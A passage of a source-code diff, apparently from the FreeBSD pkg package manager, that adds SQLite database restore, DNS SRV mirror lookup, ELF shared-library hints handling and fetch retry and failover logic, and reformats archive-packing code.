		goto cleanup;
+
	sqlite3	*restore;
+
	int	 ret;
+

+
	if (eaccess(src, R_OK)) {
+
		pkg_emit_error("eaccess(%s) -- %s", src, strerror(errno));
+
		return (EPKG_FATAL);
	}

-
	while (archive_read_next_header(a, &ae) == ARCHIVE_OK) {
-
		path = archive_entry_pathname(ae);
-
		len = strlen(path);
-
		if (len < 6)
-
			continue;
-
		if (!strcmp(path + len - 5, ".yaml")) {
-
			if (pkg == NULL) {
-
				pkg_new(&pkg, PKG_FILE);
-
			} else {
-
				pkgdb_register_finale(db, pkgdb_register_pkg(db, pkg, 0));
-
				pkg_reset(pkg, PKG_FILE);
-
			}
-
			size = archive_entry_size(ae);
-
			buf = calloc(1, size + 1);
-
			archive_read_data(a, buf, size);
-
			pkg_parse_manifest(pkg, buf);
-
			free(buf);
-
		} else if (!strcmp(path + len - 6, ".mtree")) {
-
			size = archive_entry_size(ae);
-
			buf = calloc(1, size + 1);
-
			archive_read_data(a, buf, size);
-
			pkg_set(pkg, PKG_MTREE, buf);
-
			free(buf);
-
		} else 
-
			continue;
+
	ret = sqlite3_open(src, &restore);
+

+
	if (ret != SQLITE_OK) {
+
		ERROR_SQLITE(restore);
+
		sqlite3_close(restore);
+
		return (EPKG_FATAL);
	}
-
	if (pkg != NULL)
-
		pkgdb_register_pkg(db, pkg, 1);

-
cleanup:
-
	if (a != NULL)
-
		archive_read_finish(a);
-
	pkgdb_close(db);
-
	pkg_free(pkg);
+
	ret = copy_database(restore, db->sqlite, src);
+

+
	sqlite3_close(restore);

-
	return (retcode);
+
	return (ret == SQLITE_OK? EPKG_OK : EPKG_FATAL);
}
added libpkg/dns_utils.c
@@ -0,0 +1,138 @@
+
/*-
+
 * Copyright (c) 2012 Baptiste Daroussin <bapt@FreeBSD.org>
+
 * All rights reserved.
+
 *
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer,
+
 *    without modification, immediately at the beginning of the file.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 *
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <sys/param.h>
+
#include <sys/stat.h> /* for private.utils.h */
+
#include <sys/types.h>
+

+
#include <stdbool.h> /* for private/utils.h */
+
#include <stdlib.h>
+
#include <string.h>
+
#include <netinet/in.h>
+
#include <arpa/nameser.h>
+
#include <resolv.h>
+
#include "private/utils.h"
+

+
typedef union {
+
	HEADER hdr;
+
	unsigned char buf[1024];
+
} query_t;
+

+
struct dns_srvinfo *
+
dns_getsrvinfo(const char *zone)
+
{
+
	char host[MAXHOSTNAMELEN];
+
	query_t q;
+
	int len, qdcount, ancount, n, i;
+
	struct dns_srvinfo **res, *first;
+
	unsigned char *end, *p;
+
	unsigned int type, class, ttl, priority, weight, port;
+

+
	if ((len = res_query(zone, C_IN, T_SRV, q.buf, sizeof(q.buf))) == -1 ||
+
	    len < (int)sizeof(HEADER))
+
		return (NULL);
+

+
	qdcount = ntohs(q.hdr.qdcount);
+
	ancount = ntohs(q.hdr.ancount);
+

+
	end = q.buf + len;
+
	p = q.buf + sizeof(HEADER);
+

+
	while(qdcount > 0 && p < end) {
+
		qdcount--;
+
		if((len = dn_expand(q.buf, end, p, host, MAXHOSTNAMELEN)) < 0)
+
			return (NULL);
+
		p += len + NS_QFIXEDSZ;
+
	}
+

+
	res = malloc(sizeof(struct dns_srvinfo) * ancount);
+
	if (res == NULL)
+
		return (NULL);
+
	memset(res, 0, sizeof(struct dns_srvinfo) * ancount);
+

+
	n = 0;
+
	while (ancount > 0 && p < end) {
+
		ancount--;
+
		len = dn_expand(q.buf, end, p, host, MAXHOSTNAMELEN);
+
		if (len < 0) {
+
			for (i = 0; i < n; i++)
+
				free(res[i]);
+
			free(res);
+
			return NULL;
+
		}
+

+
		p += len;
+

+
		NS_GET16(type, p);
+
		NS_GET16(class, p);
+
		NS_GET32(ttl, p);
+
		NS_GET16(len, p);
+

+
		if (type != T_SRV) {
+
			p += len;
+
			continue;
+
		}
+

+
		NS_GET16(priority, p);
+
		NS_GET16(weight, p);
+
		NS_GET16(port, p);
+

+
		len = dn_expand(q.buf, end, p, host, MAXHOSTNAMELEN);
+
		if (len < 0) {
+
			for (i = 0; i < n; i++)
+
				free(res[i]);
+
			free(res);
+
			return NULL;
+
		}
+

+
		res[n] = malloc(sizeof(struct dns_srvinfo));
+
		if (res[n] == NULL) {
+
			for (i = 0; i < n; i++)
+
				free(res[i]);
+
			free(res);
+
			return NULL;
+
		}
+
		res[n]->type = type;
+
		res[n]->class = class;
+
		res[n]->ttl = ttl;
+
		res[n]->priority = priority;
+
		res[n]->weight = weight;
+
		res[n]->port = port;
+
		res[n]->next = NULL;
+
		strlcpy(res[n]->host, host, MAXHOSTNAMELEN);
+

+
		p += len;
+
		n++;
+
	}
+

+
	for (i = 0; i < n - 1; i++)
+
		res[i]->next = res[i + 1];
+

+
	first = res[0];
+
	free(res);
+

+
	return (first);
+
}
added libpkg/elfhints.c
@@ -0,0 +1,502 @@
+
/*-
+
 * Copyright (c) 1998 John D. Polstra
+
 * Copyright (c) 2012 Matthew Seaman <matthew@FreeBSD.org>
+
 * All rights reserved.
+
 *
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 *
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+
 * SUCH DAMAGE.
+
 *
+
 * $FreeBSD: stable/8/sbin/ldconfig/elfhints.c 76224 2001-05-02 23:56:21Z obrien $
+
 */
+

+
#include <sys/param.h>
+
#include <sys/mman.h>
+
#include <sys/stat.h>
+
#include <sys/queue.h>
+

+
#include <assert.h>
+
#include <ctype.h>
+
#include <dirent.h>
+
#include <elf-hints.h>
+
#include <err.h>
+
#include <errno.h>
+
#include <fcntl.h>
+
#include <stdio.h>
+
#include <stdlib.h>
+
#include <string.h>
+
#include <unistd.h>
+

+
#include "pkg.h"
+
#include "private/ldconfig.h"
+

+
#define MAXDIRS		1024		/* Maximum directories in path */
+
#define MAXFILESIZE	(16*1024)	/* Maximum hints file size */
+

+
struct shlib_list_entry {
+
	STAILQ_ENTRY(shlib_list_entry) next;
+
	const char *name;
+
	char path[];
+
};
+

+
STAILQ_HEAD(shlib_list, shlib_list_entry);
+

+
static int	shlib_list_add(struct shlib_list *shlib_list, const char *dir,
+
			       const char *shlib_file);
+
static int	scan_dirs_for_shlibs(struct shlib_list *shlib_list, int numdirs,
+
				     const char **dirlist);
+
static void	add_dir(const char *, const char *, int);
+
static void	read_dirs_from_file(const char *, const char *);
+
static void	read_elf_hints(const char *, int);
+
static void	write_elf_hints(const char *);
+

+
static const char	*dirs[MAXDIRS];
+
static int		 ndirs;
+
int			 insecure;
+

+
/* Known shlibs on the standard system search path.  Persistent,
+
   common to all applications */
+
static struct shlib_list shlibs;
+

+
/* Known shlibs on the specific RPATH or RUNPATH of one binary.
+
   Evanescent. */
+
static struct shlib_list rpath;
+

+
void
+
shlib_list_init(void)
+
{
+
	STAILQ_INIT(&shlibs);
+
}
+

+
void
+
rpath_list_init(void)
+
{
+
	STAILQ_INIT(&rpath);
+
}
+

+
static int
+
shlib_list_add(struct shlib_list *shlib_list, const char *dir,
+
    const char *shlib_file)
+
{
+
	struct shlib_list_entry	*sl;
+
	size_t	path_len, dir_len;
+

+
	path_len = strlen(dir) + strlen(shlib_file) + 2;
+

+
	sl = calloc(1, sizeof(struct shlib_list_entry) + path_len);
+
	if (sl == NULL) {
+
		warnx("Out of memory");
+
		return (EPKG_FATAL);
+
	}
+

+
	strlcat(sl->path, dir, path_len);
+
	dir_len = strlcat(sl->path, "/", path_len);
+
	strlcat(sl->path, shlib_file, path_len);
+
	
+
	sl->name = sl->path + dir_len;
+

+
	STAILQ_INSERT_TAIL(shlib_list, sl, next);
+

+
	return (EPKG_OK);
+
}
+

+
const char *
+
shlib_list_find_by_name(const char *shlib_file)
+
{
+
	struct shlib_list_entry *sl;
+

+
	assert(!STAILQ_EMPTY(&shlibs));
+

+
	STAILQ_FOREACH(sl, &rpath, next) {
+
		if (strcmp(sl->name, shlib_file) == 0)
+
			return (sl->path);
+
	}
+
	STAILQ_FOREACH(sl, &shlibs, next) {
+
		if (strcmp(sl->name, shlib_file) == 0)
+
			return (sl->path);
+
	}
+
	return (NULL);
+
}
+

+
void
+
shlib_list_free(void)
+
{
+
	struct shlib_list_entry *sl1, *sl2;
+

+
	sl1 = STAILQ_FIRST(&shlibs);
+
	while (sl1 != NULL) {
+
		sl2 = STAILQ_NEXT(sl1, next);
+
		free(sl1);
+
		sl1 = sl2;
+
	}
+
	STAILQ_INIT(&shlibs);
+
}
+

+
void
+
rpath_list_free(void)
+
{
+
	struct shlib_list_entry *sl1, *sl2;
+

+
	sl1 = STAILQ_FIRST(&rpath);
+
	while (sl1 != NULL) {
+
		sl2 = STAILQ_NEXT(sl1, next);
+
		free(sl1);
+
		sl1 = sl2;
+
	}
+
	STAILQ_INIT(&rpath);
+
}
+

+
static void
+
add_dir(const char *hintsfile, const char *name, int trusted)
+
{
+
	struct stat 	stbuf;
+
	int		i;
+

+
	/* Do some security checks */
+
	if (!trusted && !insecure) {
+
		if (stat(name, &stbuf) == -1) {
+
			warn("%s", name);
+
			return;
+
		}
+
		if (stbuf.st_uid != 0) {
+
			warnx("%s: ignoring directory not owned by root", name);
+
			return;
+
		}
+
		if ((stbuf.st_mode & S_IWOTH) != 0) {
+
			warnx("%s: ignoring world-writable directory", name);
+
			return;
+
		}
+
		if ((stbuf.st_mode & S_IWGRP) != 0) {
+
			warnx("%s: ignoring group-writable directory", name);
+
			return;
+
		}
+
	}
+

+
	for (i = 0;  i < ndirs;  i++)
+
		if (strcmp(dirs[i], name) == 0)
+
			return;
+
	if (ndirs >= MAXDIRS)
+
		errx(1, "\"%s\": Too many directories in path", hintsfile);
+
	dirs[ndirs++] = name;
+
}
+

+
static int
+
scan_dirs_for_shlibs(struct shlib_list *shlib_list, int numdirs,
+
    const char **dirlist)
+
{
+
	int	i;
+

+
	for (i = 0;  i < numdirs;  i++) {
+
		DIR		*dirp;
+
		struct dirent	*dp;
+

+
		if ((dirp = opendir(dirlist[i])) == NULL)
+
			continue;
+
		while ((dp = readdir(dirp)) != NULL) {
+
			int		 len;
+
			int		 ret;
+
			const char	*vers;
+

+
			/* Only regular files and sym-links */
+
			if (dp->d_type != DT_REG && dp->d_type != DT_LNK)
+
				continue;
+

+
			/* Name can't be shorter than "libx.so" */
+
			if ((len = strlen(dp->d_name)) < 7 ||
+
			    strncmp(dp->d_name, "lib", 3) != 0)
+
				continue;
+
			vers = dp->d_name + len;
+
			while (vers > dp->d_name && isdigit(*(vers-1)))
+
				vers--;
+
			if (vers == dp->d_name + len) {
+
				if (strncmp(vers - 3, ".so", 3) != 0)
+
					continue;
+
			} else if (vers < dp->d_name + 4 ||
+
			    strncmp(vers - 4, ".so.", 4) != 0)
+
				continue;
+

+
			/* We have a valid shared library name. */
+
			ret = shlib_list_add(shlib_list, dirlist[i], dp->d_name);
+
			if (ret != EPKG_OK) {
+
				closedir(dirp);
+
				return ret;
+
			}
+
		}
+
		closedir(dirp);
+
	}
+
	return 0;
+
}
+

+
int shlib_list_from_rpath(const char *rpath_str)
+
{
+
	const char    **dirlist;
+
	char	       *buf;
+
	size_t		buflen;
+
	int		i, numdirs;
+
	int		ret;
+
	const char     *c;
+
	
+
	numdirs = 1;
+
	for (c = rpath_str; *c != '\0'; c++)
+
		if (*c == ':')
+
			numdirs++;
+
	buflen = numdirs * sizeof(char *) + strlen(rpath_str) + 1;
+
	dirlist = calloc(1, buflen);
+
	if (dirlist == NULL) {
+
		warnx("Out of memory");
+
		return (EPKG_FATAL);
+
	}
+
	buf = (char *)dirlist + numdirs * sizeof(char *);
+
	strcpy(buf, rpath_str);
+

+
	i = 0;
+
	while ((c = strsep(&buf, ":")) != NULL) {
+
		if (strlen(c) > 0)
+
			dirlist[i++] = c;
+
	}
+

+
	assert(i <= numdirs);
+

+
	ret = scan_dirs_for_shlibs(&rpath, i, dirlist);
+

+
	free(dirlist);
+

+
	return (ret);
+
}
+

+
int 
+
shlib_list_from_elf_hints(const char *hintsfile)
+
{
+
	read_elf_hints(hintsfile, 1);
+

+
	return (scan_dirs_for_shlibs(&shlibs, ndirs, dirs));
+
}
+

+
void
+
list_elf_hints(const char *hintsfile)
+
{
+
	int	i;
+
	int	nlibs;
+

+
	read_elf_hints(hintsfile, 1);
+
	printf("%s:\n", hintsfile);
+
	printf("\tsearch directories:");
+
	for (i = 0;  i < ndirs;  i++)
+
		printf("%c%s", i == 0 ? ' ' : ':', dirs[i]);
+
	printf("\n");
+

+
	nlibs = 0;
+
	for (i = 0;  i < ndirs;  i++) {
+
		DIR		*dirp;
+
		struct dirent	*dp;
+

+
		if ((dirp = opendir(dirs[i])) == NULL)
+
			continue;
+
		while ((dp = readdir(dirp)) != NULL) {
+
			int		 len;
+
			int		 namelen;
+
			const char	*name;
+
			const char	*vers;
+

+
			/* Name can't be shorter than "libx.so.0" */
+
			if ((len = strlen(dp->d_name)) < 9 ||
+
			    strncmp(dp->d_name, "lib", 3) != 0)
+
				continue;
+
			name = dp->d_name + 3;
+
			vers = dp->d_name + len;
+
			while (vers > dp->d_name && isdigit(*(vers-1)))
+
				vers--;
+
			if (vers == dp->d_name + len)
+
				continue;
+
			if (vers < dp->d_name + 4 ||
+
			    strncmp(vers - 4, ".so.", 4) != 0)
+
				continue;
+

+
			/* We have a valid shared library name. */
+
			namelen = (vers - 4) - name;
+
			printf("\t%d:-l%.*s.%s => %s/%s\n", nlibs,
+
			    namelen, name, vers, dirs[i], dp->d_name);
+
			nlibs++;
+
		}
+
		closedir(dirp);
+
	}
+
}
+

+
static void
+
read_dirs_from_file(const char *hintsfile, const char *listfile)
+
{
+
	FILE	*fp;
+
	char	 buf[MAXPATHLEN];
+
	int	 linenum;
+

+
	if ((fp = fopen(listfile, "r")) == NULL)
+
		err(1, "%s", listfile);
+

+
	linenum = 0;
+
	while (fgets(buf, sizeof buf, fp) != NULL) {
+
		char	*cp, *sp;
+

+
		linenum++;
+
		cp = buf;
+
		/* Skip leading white space. */
+
		while (isspace(*cp))
+
			cp++;
+
		if (*cp == '#' || *cp == '\0')
+
			continue;
+
		sp = cp;
+
		/* Advance over the directory name. */
+
		while (!isspace(*cp) && *cp != '\0')
+
			cp++;
+
		/* Terminate the string and skip trailing white space. */
+
		if (*cp != '\0') {
+
			*cp++ = '\0';
+
			while (isspace(*cp))
+
				cp++;
+
		}
+
		/* Now we had better be at the end of the line. */
+
		if (*cp != '\0')
+
			warnx("%s:%d: trailing characters ignored",
+
			    listfile, linenum);
+

+
		if ((sp = strdup(sp)) == NULL)
+
			errx(1, "Out of memory");
+
		add_dir(hintsfile, sp, 0);
+
	}
+

+
	fclose(fp);
+
}
+

+
static void
+
read_elf_hints(const char *hintsfile, int must_exist)
+
{
+
	int	 		 fd;
+
	struct stat		 s;
+
	void			*mapbase;
+
	struct elfhints_hdr	*hdr;
+
	char			*strtab;
+
	char			*dirlist;
+
	char			*p;
+

+
	if ((fd = open(hintsfile, O_RDONLY)) == -1) {
+
		if (errno == ENOENT && !must_exist)
+
			return;
+
		err(1, "Cannot open \"%s\"", hintsfile);
+
	}
+
	if (fstat(fd, &s) == -1)
+
		err(1, "Cannot stat \"%s\"", hintsfile);
+
	if (s.st_size > MAXFILESIZE)
+
		errx(1, "\"%s\" is unreasonably large", hintsfile);
+
	/*
+
	 * We use a read-write, private mapping so that we can null-terminate
+
	 * some strings in it without affecting the underlying file.
+
	 */
+
	mapbase = mmap(NULL, s.st_size, PROT_READ|PROT_WRITE,
+
	    MAP_PRIVATE, fd, 0);
+
	if (mapbase == MAP_FAILED)
+
		err(1, "Cannot mmap \"%s\"", hintsfile);
+
	close(fd);
+

+
	hdr = (struct elfhints_hdr *)mapbase;
+
	if (hdr->magic != ELFHINTS_MAGIC)
+
		errx(1, "\"%s\": invalid file format", hintsfile);
+
	if (hdr->version != 1)
+
		errx(1, "\"%s\": unrecognized file version (%d)", hintsfile,
+
		    hdr->version);
+

+
	strtab = (char *)mapbase + hdr->strtab;
+
	dirlist = strtab + hdr->dirlist;
+

+
	if (*dirlist != '\0')
+
		while ((p = strsep(&dirlist, ":")) != NULL)
+
			add_dir(hintsfile, p, 1);
+
}
+

+
void
+
update_elf_hints(const char *hintsfile, int argc, char **argv, int merge)
+
{
+
	int	i;
+

+
	if (merge)
+
		read_elf_hints(hintsfile, 0);
+
	for (i = 0;  i < argc;  i++) {
+
		struct stat	s;
+

+
		if (stat(argv[i], &s) == -1)
+
			warn("warning: %s", argv[i]);
+
		else if (S_ISREG(s.st_mode))
+
			read_dirs_from_file(hintsfile, argv[i]);
+
		else
+
			add_dir(hintsfile, argv[i], 0);
+
	}
+
	write_elf_hints(hintsfile);
+
}
+

+
static void
+
write_elf_hints(const char *hintsfile)
+
{
+
	struct elfhints_hdr	 hdr;
+
	char			*tempname;
+
	int			 fd;
+
	FILE			*fp;
+
	int			 i;
+

+
	if (asprintf(&tempname, "%s.XXXXXX", hintsfile) == -1)
+
		errx(1, "Out of memory");
+
	if ((fd = mkstemp(tempname)) ==  -1)
+
		err(1, "mkstemp(%s)", tempname);
+
	if (fchmod(fd, 0444) == -1)
+
		err(1, "fchmod(%s)", tempname);
+
	if ((fp = fdopen(fd, "wb")) == NULL)
+
		err(1, "fdopen(%s)", tempname);
+

+
	hdr.magic = ELFHINTS_MAGIC;
+
	hdr.version = 1;
+
	hdr.strtab = sizeof hdr;
+
	hdr.strsize = 0;
+
	hdr.dirlist = 0;
+
	memset(hdr.spare, 0, sizeof hdr.spare);
+

+
	/* Count up the size of the string table. */
+
	if (ndirs > 0) {
+
		hdr.strsize += strlen(dirs[0]);
+
		for (i = 1;  i < ndirs;  i++)
+
			hdr.strsize += 1 + strlen(dirs[i]);
+
	}
+
	hdr.dirlistlen = hdr.strsize;
+
	hdr.strsize++;	/* For the null terminator */
+

+
	/* Write the header. */
+
	if (fwrite(&hdr, 1, sizeof hdr, fp) != sizeof hdr)
+
		err(1, "%s: write error", tempname);
+
	/* Write the strings. */
+
	if (ndirs > 0) {
+
		if (fputs(dirs[0], fp) == EOF)
+
			err(1, "%s: write error", tempname);
+
		for (i = 1;  i < ndirs;  i++)
+
			if (fprintf(fp, ":%s", dirs[i]) < 0)
+
				err(1, "%s: write error", tempname);
+
	}
+
	if (putc('\0', fp) == EOF || fclose(fp) == EOF)
+
		err(1, "%s: write error", tempname);
+

+
	if (rename(tempname, hintsfile) == -1)
+
		err(1, "rename %s to %s", tempname, hintsfile);
+
	free(tempname);
+
}
modified libpkg/fetch.c
@@ -25,48 +25,103 @@
 */

#include <sys/param.h>
+
#include <sys/stat.h>

#include <fcntl.h>
#include <stdio.h>
+
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <fetch.h>

#include "pkg.h"
#include "private/event.h"
+
#include "private/pkg.h"
+
#include "private/utils.h"

int
pkg_fetch_file(const char *url, const char *dest, time_t t)
{
	int fd = -1;
+
	int retcode = EPKG_FATAL;
+

+
	if ((fd = open(dest, O_WRONLY|O_CREAT|O_TRUNC|O_EXCL, 0600)) == -1) {
+
		pkg_emit_errno("open", dest);
+
		return(EPKG_FATAL);
+
	}
+

+
	retcode = pkg_fetch_file_to_fd(url, fd, t);
+

+
	close(fd);
+

+
	/* Remove local file if fetch failed */
+
	if (retcode != EPKG_OK)
+
		unlink(dest);
+

+
	return (retcode);
+
}
+

+
int
+
pkg_fetch_file_to_fd(const char *url, int dest, time_t t)
+
{
	FILE *remote = NULL;
+
	struct url *u;
	struct url_stat st;
	off_t done = 0;
	off_t r;
-
	int retry = 3;
+

+
	int64_t max_retry, retry;
	time_t begin_dl;
	time_t now;
	time_t last = 0;
	char buf[10240];
	int retcode = EPKG_OK;
+
	bool srv = false;
+
	char zone[MAXHOSTNAMELEN + 12];
+
	struct dns_srvinfo *mirrors, *current;
+

+
	current = mirrors = NULL;

	fetchTimeout = 30;

-
	if ((fd = open(dest, O_WRONLY|O_CREAT|O_TRUNC|O_EXCL, 0600)) == -1) {
-
		pkg_emit_errno("open", dest);
-
		return(EPKG_FATAL);
-
	}
+
	if (pkg_config_int64(PKG_CONFIG_FETCH_RETRY, &max_retry) == EPKG_FATAL)
+
		max_retry = 3;

+
	retry = max_retry;
+

+
	u = fetchParseURL(url);
	while (remote == NULL) {
-
		remote = fetchXGetURL(url, &st, "");
+
		if (retry == max_retry) {
+
			pkg_config_bool(PKG_CONFIG_SRV_MIRROR, &srv);
+
			if (srv) {
+
				if (strcmp(u->scheme, "file") != 0) {
+
					snprintf(zone, sizeof(zone),
+
					    "_%s._tcp.%s", u->scheme, u->host);
+
					mirrors = dns_getsrvinfo(zone);
+
					current = mirrors;
+
				}
+
			}
+
		}
+

+
		if (mirrors != NULL)
+
			strlcpy(u->host, current->host, sizeof(u->host));
+

+
		remote = fetchXGet(u, &st, "");
		if (remote == NULL) {
			--retry;
-
			if (retry == 0) {
-
				pkg_emit_error("%s: %s", url, fetchLastErrString);
+
			if (retry <= 0) {
+
				pkg_emit_error("%s: %s", url,
+
				    fetchLastErrString);
				retcode = EPKG_FATAL;
				goto cleanup;
			}
-
			sleep(1);
+
			if (mirrors == NULL) {
+
				sleep(1);
+
			} else {
+
				current = current->next;
+
				if (current == NULL)
+
					current = mirrors;
+
			}
		}
	}
	if (t != 0) {
@@ -81,8 +136,8 @@ pkg_fetch_file(const char *url, const char *dest, time_t t)
		if ((r = fread(buf, 1, sizeof(buf), remote)) < 1)
			break;

-
		if (write(fd, buf, r) != r) {
-
			pkg_emit_errno("write", dest);
+
		if (write(dest, buf, r) != r) {
+
			pkg_emit_errno("write", "");
			retcode = EPKG_FATAL;
			goto cleanup;
		}
@@ -104,15 +159,10 @@ pkg_fetch_file(const char *url, const char *dest, time_t t)

	cleanup:

-
	if (fd > 0)
-
		close(fd);
-

	if (remote != NULL)
		fclose(remote);

-
	/* Remove local file if fetch failed */
-
	if (retcode != EPKG_OK)
-
		unlink(dest);
+
	fetchFreeURL(u);

	return (retcode);
}
modified libpkg/packing.c
@@ -67,16 +67,18 @@ packing_init(struct packing **pack, const char *path, pkg_formats format)
	if (!is_dir(path)) {
		(*pack)->awrite = archive_write_new();
		archive_write_set_format_pax_restricted((*pack)->awrite);
-
		if ((ext = packing_set_format((*pack)->awrite, format)) == NULL) {
+
		ext = packing_set_format((*pack)->awrite, format);
+
		if (ext == NULL) {
			archive_read_finish((*pack)->aread);
			archive_write_finish((*pack)->awrite);
			*pack = NULL;
			return EPKG_FATAL; /* error set by _set_format() */
		}
-
		snprintf(archive_path, sizeof(archive_path), "%s.%s", path, ext);
+
		snprintf(archive_path, sizeof(archive_path), "%s.%s", path,
+
		    ext);

		if (archive_write_open_filename(
-
		    (*pack)->awrite, archive_path) != ARCHIVE_OK ) {
+
		    (*pack)->awrite, archive_path) != ARCHIVE_OK) {
			pkg_emit_errno("archive_write_open_filename",
			    archive_path);
			archive_read_finish((*pack)->aread);
@@ -86,16 +88,19 @@ packing_init(struct packing **pack, const char *path, pkg_formats format)
		}
	} else { /* pass mode directly write to the disk */
		(*pack)->awrite = archive_write_disk_new();
-
		archive_write_disk_set_options((*pack)->awrite, EXTRACT_ARCHIVE_FLAGS);
+
		archive_write_disk_set_options((*pack)->awrite,
+
		    EXTRACT_ARCHIVE_FLAGS);
	}

	(*pack)->resolver = archive_entry_linkresolver_new();
-
	archive_entry_linkresolver_set_strategy((*pack)->resolver, archive_format((*pack)->awrite));
+
	archive_entry_linkresolver_set_strategy((*pack)->resolver,
+
	    ARCHIVE_FORMAT_TAR_PAX_RESTRICTED);
	return (EPKG_OK);
}

int
-
packing_append_buffer(struct packing *pack, const char *buffer, const char *path, int size)
+
packing_append_buffer(struct packing *pack, const char *buffer,
+
    const char *path, int size)
{
	struct archive_entry *entry;

@@ -116,14 +121,16 @@ packing_append_buffer(struct packing *pack, const char *buffer, const char *path
}

int
-
packing_append_file(struct packing *pack, const char *filepath, const char *newpath)
+
packing_append_file(struct packing *pack, const char *filepath,
+
    const char *newpath)
{
-
	return (packing_append_file_attr(pack, filepath, newpath, NULL, NULL, 0));
+
	return (packing_append_file_attr(pack, filepath, newpath,
+
	    NULL, NULL, 0));
}

int
-
packing_append_file_attr(struct packing *pack, const char *filepath, const char *newpath,
-
		const char *uname, const char *gname, mode_t perm)
+
packing_append_file_attr(struct packing *pack, const char *filepath,
+
    const char *newpath, const char *uname, const char *gname, mode_t perm)
{
	int fd;
	int len;
@@ -202,7 +209,7 @@ packing_append_file_attr(struct packing *pack, const char *filepath, const char
			goto cleanup;
		}

-
		while ((len = read(fd, buf, sizeof(buf))) > 0 )
+
		while ((len = read(fd, buf, sizeof(buf))) > 0)
			archive_write_data(pack->awrite, buf, len);

		close(fd);
@@ -214,14 +221,15 @@ packing_append_file_attr(struct packing *pack, const char *filepath, const char
}

int
-
packing_append_tree(struct packing *pack, const char *treepath, const char *newroot)
+
packing_append_tree(struct packing *pack, const char *treepath,
+
    const char *newroot)
{
	FTS *fts = NULL;
	FTSENT *fts_e = NULL;
	size_t treelen;
	struct sbuf *sb;
	char *paths[2] = { __DECONST(char *, treepath), NULL };
-
 
+

	treelen = strlen(treepath);
	fts = fts_open(paths, FTS_PHYSICAL | FTS_XDEV, NULL);
	if (fts == NULL)
@@ -235,16 +243,18 @@ packing_append_tree(struct packing *pack, const char *treepath, const char *newr
		case FTS_F:
		case FTS_SL:
		case FTS_SLNONE:
-
			 /* Skip entries that are shorter than the tree itself */
+
			 /* Entries not within this tree are irrelevant. */
			 if (fts_e->fts_pathlen <= treelen)
				  break;
			 sbuf_clear(sb);
			 /* Strip the prefix to obtain the target path */
			 if (newroot) /* Prepend a root if one is specified */
				  sbuf_cat(sb, newroot);
-
			 sbuf_cat(sb, fts_e->fts_path + treelen + 1 /* skip trailing slash */);
+
			 /* +1 = skip trailing slash */
+
			 sbuf_cat(sb, fts_e->fts_path + treelen + 1);
			 sbuf_finish(sb);
-
			 packing_append_file(pack, fts_e->fts_name, sbuf_get(sb));
+
			 packing_append_file(pack, fts_e->fts_name,
+
			    sbuf_get(sb));
			 break;
		case FTS_DC:
		case FTS_DNR:
@@ -255,7 +265,7 @@ packing_append_tree(struct packing *pack, const char *treepath, const char *newr
			 break;
		default:
			 break;
-
		}   
+
		}
	}
	sbuf_free(sb);
cleanup:
@@ -281,28 +291,27 @@ packing_finish(struct packing *pack)
static const char *
packing_set_format(struct archive *a, pkg_formats format)
{
+
	const char *notsupp_fmt = "%s is not supported, trying %s";
+

	switch (format) {
-
		case TXZ:
-
			if (archive_write_set_compression_xz(a) == ARCHIVE_OK) {
-
				return ("txz");
-
			} else {
-
				pkg_emit_error("%s", "xz is not supported, trying bzip2");
-
			}
-
		case TBZ:
-
			if (archive_write_set_compression_bzip2(a) == ARCHIVE_OK) {
-
				return ("tbz");
-
			} else {
-
				pkg_emit_error("%s", "bzip2 is not supported, trying gzip");
-
			}
-
		case TGZ:
-
			if (archive_write_set_compression_gzip(a) == ARCHIVE_OK) {
-
				return ("tgz");
-
			} else {
-
				pkg_emit_error("%s", "gzip is not supported, trying plain tar");
-
			}
-
		case TAR:
-
			archive_write_set_compression_none(a);
-
